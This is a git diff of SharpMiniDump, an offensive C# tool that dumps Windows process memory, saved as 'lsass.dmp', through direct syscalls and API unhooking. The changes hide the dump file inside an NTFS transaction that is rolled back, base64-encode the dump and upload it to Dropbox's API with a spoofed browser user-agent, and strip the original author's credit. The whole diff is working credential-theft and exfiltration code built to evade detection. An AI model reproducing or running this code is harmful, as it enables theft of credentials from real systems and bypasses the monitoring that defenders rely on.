this.Low); - } - } - - /// - /// x64 - /// - [StructLayout(LayoutKind.Sequential, Pack = 16)] - public struct XSAVE_FORMAT64 - { - public ushort ControlWord; - public ushort StatusWord; - public byte TagWord; - public byte Reserved1; - public ushort ErrorOpcode; - public uint ErrorOffset; - public ushort ErrorSelector; - public ushort Reserved2; - public uint DataOffset; - public ushort DataSelector; - public ushort Reserved3; - public uint MxCsr; - public uint MxCsr_Mask; - - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] - public M128A[] FloatRegisters; - - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] - public M128A[] XmmRegisters; - - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 96)] - public byte[] Reserved4; - } - - - - /// - /// x64 - /// - [StructLayout(LayoutKind.Sequential, Pack = 16)] - public struct CONTEXT - { - public ulong P1Home; - public ulong P2Home; - public ulong P3Home; - public ulong P4Home; - public ulong P5Home; - public ulong P6Home; - - public CONTEXT_FLAGS ContextFlags; - public uint MxCsr; - - public ushort SegCs; - public ushort SegDs; - public ushort SegEs; - public ushort SegFs; - public ushort SegGs; - public ushort SegSs; - public uint EFlags; - - public ulong Dr0; - public ulong Dr1; - public ulong Dr2; - public ulong Dr3; - public ulong Dr6; - public ulong Dr7; - - public ulong Rax; - public ulong Rcx; - public ulong Rdx; - public ulong Rbx; - public ulong Rsp; - public ulong Rbp; - public ulong Rsi; - public ulong Rdi; - public ulong R8; - public ulong R9; - public ulong R10; - public ulong R11; - public ulong R12; - public ulong R13; - public ulong R14; - public ulong R15; - public ulong Rip; - - public XSAVE_FORMAT64 DUMMYUNIONNAME; - - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 26)] - public M128A[] VectorRegister; - public ulong VectorControl; - - public ulong DebugControl; - public ulong LastBranchToRip; - public ulong LastBranchFromRip; - public ulong LastExceptionToRip; - public ulong LastExceptionFromRip; - } - - - public static IntPtr OpenProcess(ProcessAccessFlags processAccess, bool bInheritHandle, int processId) - { - Natives.CLIENT_ID clientid = new Natives.CLIENT_ID(); - clientid.UniqueProcess = (IntPtr)processId; - clientid.UniqueThread = IntPtr.Zero; - - IntPtr hProcess = IntPtr.Zero; - - Natives.OBJECT_ATTRIBUTES objAttribute = new Natives.OBJECT_ATTRIBUTES(); - - NTSTATUS res = NativeSysCall.ZwOpenProcess10(ref hProcess, processAccess, objAttribute, ref clientid); - - return hProcess; - } - + private static IntPtr GetNtDll() { return LoadLibrary("ntdll.dll"); } - - + public static int NtFilterToken(IntPtr TokenHandle, uint Flags, IntPtr SidsToDisable, IntPtr PrivilegesToDelete, IntPtr RestrictedSids, ref IntPtr hToken) { IntPtr proc = GetProcAddress(GetNtDll(), "NtFilterToken"); @@ -1357,56 +555,14 @@ private static IntPtr GetDbgcore() return LoadLibrary("dbgcore.dll"); } - - public static IntPtr GetCurrentProcess() - { - IntPtr proc = GetProcAddress(GetKernel32(), "GetCurrentProcess"); - NativeSysCall.Delegates.GetCurrentProcess GetCurrentProcess = (NativeSysCall.Delegates.GetCurrentProcess)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.GetCurrentProcess)); - return GetCurrentProcess(); - } - - public static bool CloseHandle(IntPtr handle) - { - IntPtr proc = GetProcAddress(GetKernel32(), "CloseHandle"); - NativeSysCall.Delegates.CloseHandle CloseHandle = (NativeSysCall.Delegates.CloseHandle)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.CloseHandle)); - return CloseHandle(handle); - } - - public static bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize) - { - IntPtr proc = GetProcAddress(GetKernelbase(), "UpdateProcThreadAttribute"); - NativeSysCall.Delegates.UpdateProcThreadAttribute UpdateProcThreadAttribute = (NativeSysCall.Delegates.UpdateProcThreadAttribute)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.UpdateProcThreadAttribute)); - return UpdateProcThreadAttribute(lpAttributeList, dwFlags, Attribute, lpValue, cbSize, lpPreviousValue, lpReturnSize); - } - - public static bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize) - { - IntPtr proc = GetProcAddress(GetKernelbase(), "InitializeProcThreadAttributeList"); - NativeSysCall.Delegates.InitializeProcThreadAttributeList InitializeProcThreadAttributeList = (NativeSysCall.Delegates.InitializeProcThreadAttributeList)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.InitializeProcThreadAttributeList)); - return InitializeProcThreadAttributeList(lpAttributeList, dwAttributeCount, dwFlags, ref lpSize); - } - + public static bool RtlGetVersion(ref OSVERSIONINFOEXW lpVersionInformation) { IntPtr proc = GetProcAddress(GetNtDll(), "RtlGetVersion"); NativeSysCall.Delegates.RtlGetVersion RtlGetVersion = (NativeSysCall.Delegates.RtlGetVersion)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.RtlGetVersion)); return RtlGetVersion(ref lpVersionInformation); } - - public static bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect) - { - IntPtr proc = GetProcAddress(GetKernelbase(), "VirtualProtect"); - NativeSysCall.Delegates.VirtualProtect VirtualProtect = (NativeSysCall.Delegates.VirtualProtect)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.VirtualProtect)); - return VirtualProtect(lpAddress, dwSize, flNewProtect, out lpflOldProtect); - } - - public static bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, IntPtr dwSize, uint newprotect, out uint oldprotect) - { - IntPtr proc = GetProcAddress(GetKernelbase(), "VirtualProtectEx"); - NativeSysCall.Delegates.VirtualProtectEx VirtualProtectEx = (NativeSysCall.Delegates.VirtualProtectEx)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.VirtualProtectEx)); - return VirtualProtectEx(hProcess, lpAddress, dwSize, newprotect, out oldprotect); - } - + public static UInt32 LdrLoadDll(IntPtr PathToFile, UInt32 dwFlags, ref Natives.UNICODE_STRING ModuleFileName, ref IntPtr ModuleHandle) { IntPtr proc = GetProcAddress(GetNtDll(), "LdrLoadDll"); @@ -1435,7 +591,7 @@ public static bool OpenProcessToken(IntPtr hProcess, UInt32 dwDesiredAccess, out return OpenProcessToken( hProcess, dwDesiredAccess, out hToken); } - public static bool MiniDumpWriteDump(IntPtr hProcess, uint ProcessId, Microsoft.Win32.SafeHandles.SafeFileHandle hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam) + public static bool MiniDumpWriteDump(IntPtr hProcess, uint ProcessId, IntPtr hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam) { IntPtr proc = GetProcAddress(GetDbgcore(), "MiniDumpWriteDump"); NativeSysCall.Delegates.MiniDumpWriteDump MiniDumpWriteDump = (NativeSysCall.Delegates.MiniDumpWriteDump)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.MiniDumpWriteDump)); @@ -1467,8 +623,7 @@ public static IntPtr GetProcAddress(IntPtr hModule, string procName) { return CustomLoadLibrary.GetExportAddress(hModule, procName); } - - + public static IntPtr LoadLibrary(string name) { return CustomLoadLibrary.GetDllAddress(name, true); diff --git a/SharpMiniDump/Program.cs b/SharpMiniDump/Program.cs index 163ca1c..748cff5 100644 --- a/SharpMiniDump/Program.cs +++ b/SharpMiniDump/Program.cs @@ -1,27 +1,34 @@ -// -// Author: B4rtik (@b4rtik) -// Project: SharpMiniDump (https://github.com/b4rtik/SharpMiniDump) -// License: BSD 3-Clause -// - -using System; +using System; using System.ComponentModel; using System.Diagnostics; -using System.IO; using System.Runtime.InteropServices; -using System.Threading; namespace SharpMiniDump { - public class Program { + + [DllImport("ntdll.dll")] + public static extern bool RtlSetCurrentTransaction(IntPtr TransactionHandle); + + [DllImport("ntdll.dll")] + public static extern int NtRollbackTransaction(IntPtr TransactionHandle, bool Wait); + + [DllImport("kernel32.dll")] + public static extern int GetFileSize(IntPtr FileHandle, IntPtr Test); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr CreateFileMapping(IntPtr hFile, int lpAttributes, uint flProtect, uint dwMaximumSizeHigh, uint dwMaximumSizeLow, string lpName); + + [DllImport("kernel32.dll", SetLastError = true)] + internal static extern IntPtr MapViewOfFile(IntPtr hFileMappingObject, int dwDesiredAccess, uint dwFileOffsetHigh, uint dwFileOffsetLow, uint dwNumberOfBytesToMap); + static void Main(string[] args) { Execute(args); } - public static void Execute(string[] args) + public unsafe static void Execute(string[] args) { if (IntPtr.Size != 8) { @@ -82,7 +89,7 @@ public static void Execute(string[] args) return; } - Console.WriteLine("[*] ZwOpenProcess10 " + status); + Console.WriteLine("[*] ZwOpenProcess10: " + status); Natives.PSS_CAPTURE_FLAGS flags = Natives.PSS_CAPTURE_FLAGS.PSS_CAPTURE_VA_CLONE | Natives.PSS_CAPTURE_FLAGS.PSS_CAPTURE_HANDLES @@ -107,10 +114,17 @@ public static void Execute(string[] args) return; } + IntPtr tHandle = IntPtr.Zero; + + status = NativeSysCall.NtCreateTransaction10(out tHandle, Natives.MAXIMUM_ALLOWED, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, 0, 0, 0, IntPtr.Zero, IntPtr.Zero); + Console.WriteLine("[*] Transaction: " + status); + + bool success = RtlSetCurrentTransaction(tHandle); + Natives.UNICODE_STRING uFileName = new Natives.UNICODE_STRING(); Natives.RtlInitUnicodeString(ref uFileName, @"\??\C:\Windows\Temp\dumpert.dmp"); - Microsoft.Win32.SafeHandles.SafeFileHandle hDmpFile; + IntPtr hDmpFile; IntPtr hElm = IntPtr.Zero; Natives.IO_STATUS_BLOCK IoStatusBlock = new Natives.IO_STATUS_BLOCK(); @@ -133,9 +147,11 @@ public static void Execute(string[] args) long allocationsize = 0; + const long READWRITE = Natives.FILE_GENERIC_READ | Natives.FILE_GENERIC_WRITE; + status = NativeSysCall.NtCreateFile10( out hDmpFile, - (int)Natives.FILE_GENERIC_WRITE, + (int)READWRITE, ref FileObjectAttributes, out IoStatusBlock, ref allocationsize, @@ -144,15 +160,9 @@ public static void Execute(string[] args) Natives.FILE_OVERWRITE_IF, Natives.FILE_SYNCHRONOUS_IO_NONALERT, hElm, 0); - - if (hDmpFile.IsInvalid) - { - Console.WriteLine("[x] Error NtCreateFile10 " + status + " " + IoStatusBlock.status); - NativeSysCall.ZwClose10(hProcess); - return; - } - + success = RtlSetCurrentTransaction(IntPtr.Zero); + Natives.MINIDUMP_CALLBACK_INFORMATION CallbackInfo = new Natives.MINIDUMP_CALLBACK_INFORMATION(); CallbackInfo.CallbackRoutine = Program.MyMiniDumpWriteDumpCallback; CallbackInfo.CallbackParam = IntPtr.Zero; @@ -165,7 +175,7 @@ public static void Execute(string[] args) IntPtr CallbackParam = IntPtr.Zero; Console.WriteLine("[*] Target PID " + pWinVerInfo.hTargetPID); - Console.WriteLine("[*] Generating minidump.... " + pWinVerInfo.hTargetPID); + Console.WriteLine("[*] Generating minidump.... "); if (!Natives.MiniDumpWriteDump(SnapshotHandle, (uint)pWinVerInfo.hTargetPID, hDmpFile, 2, ExceptionParam, UserStreamParam, pCallbackInfo)) { @@ -174,11 +184,29 @@ public static void Execute(string[] args) return; } - hDmpFile.Dispose(); + int size = GetFileSize(hDmpFile, IntPtr.Zero); + + IntPtr hMapping = CreateFileMapping(hDmpFile, 0, (uint)Natives.PROTECT.PAGE_READONLY, 0, 0, ""); + + IntPtr data = MapViewOfFile(hMapping, Natives.FILE_MAP_READ, 0, 0, 0); + Console.WriteLine("[*] Data: 0x" + Convert.ToString((long)data, 16)); + + byte[] data_ = new byte[size]; + Marshal.Copy(data, data_, 0, size); + + string b64 = Convert.ToBase64String(data_); + + Console.WriteLine("[*] Sending " + b64.Length/(1024*1024) + " megabytes of data..."); + + SslTcpClient.RunClient("content.dropboxapi.com", "", "", b64); + + int stat = NtRollbackTransaction(tHandle, false); + + NativeSysCall.ZwClose10(hDmpFile); NativeSysCall.ZwClose10(hProcess); + NativeSysCall.ZwClose10(tHandle); - Console.WriteLine("[*] End "); - Console.WriteLine("[*] Minidump generated in " + Marshal.PtrToStringUni(uFileName.Buffer).Substring(4)); + Console.WriteLine("[*] Done! "); } private static bool UnHookNativeApi(Natives.WIN_VER_INFO pWinVerInfo) @@ -267,7 +295,6 @@ out returnLength } else { - return false; } } diff --git a/SharpMiniDump/SharpMiniDump.csproj b/SharpMiniDump/SharpMiniDump.csproj index 6a98c5f..7804724 100644 --- a/SharpMiniDump/SharpMiniDump.csproj +++ b/SharpMiniDump/SharpMiniDump.csproj @@ -66,10 +66,12 @@ + + \ No newline at end of file diff --git a/SharpMiniDump/SslTcpClient.cs b/SharpMiniDump/SslTcpClient.cs new file mode 100644 index 0000000..6902010 --- /dev/null +++ b/SharpMiniDump/SslTcpClient.cs @@ -0,0 +1,51 @@ +using System.Net; +using System.Net.Security; +using System.Net.Sockets; +using System.Security.Authentication; +using System.Security.Cryptography.X509Certificates; +using System.Text; + +namespace SharpMiniDump +{ + public class SslTcpClient + { + public static string old = null; + + public static bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) + { + if (sslPolicyErrors == SslPolicyErrors.None) + { + return true; + } + return false; + } + + public static void RunClient(string machineName, string project, string token, string content) + { + TcpClient client = new TcpClient(machineName, 443); + SslStream sslStream = new SslStream(client.GetStream(), false, new RemoteCertificateValidationCallback(ValidateServerCertificate), null); + try + { + const SslProtocols _Tls12 = (SslProtocols)3072; + const SecurityProtocolType Tls12 = (SecurityProtocolType)_Tls12; + ServicePointManager.SecurityProtocol = Tls12; + sslStream.AuthenticateAsClient(machineName, null, _Tls12, false); ; + } + catch (AuthenticationException e) + { + if (e.InnerException != null) + { } + client.Close(); + return; + } + + string headers = "POST /2/files/upload HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36\r\nHost: content.dropboxapi.com\r\nAuthorization: Bearer " + token + "\r\nDropbox-API-Arg: {\"path\": \"/" + project + "/lsass.dmp\",\"mode\": \"overwrite\",\"autorename\": false,\"mute\": false,\"strict_conflict\": false}\r\nContent-Type: text/plain; charset=dropbox-cors-hack\r\n"; + string length = "Content-Length: " + Encoding.UTF8.GetByteCount(content).ToString() + "\r\n\r\n"; + byte[] messsage = Encoding.UTF8.GetBytes(headers + length + content); + sslStream.Write(messsage, 0, messsage.Length); + sslStream.Flush(); + + System.Threading.Thread.Sleep(5000); + } + } +} \ No newline at end of file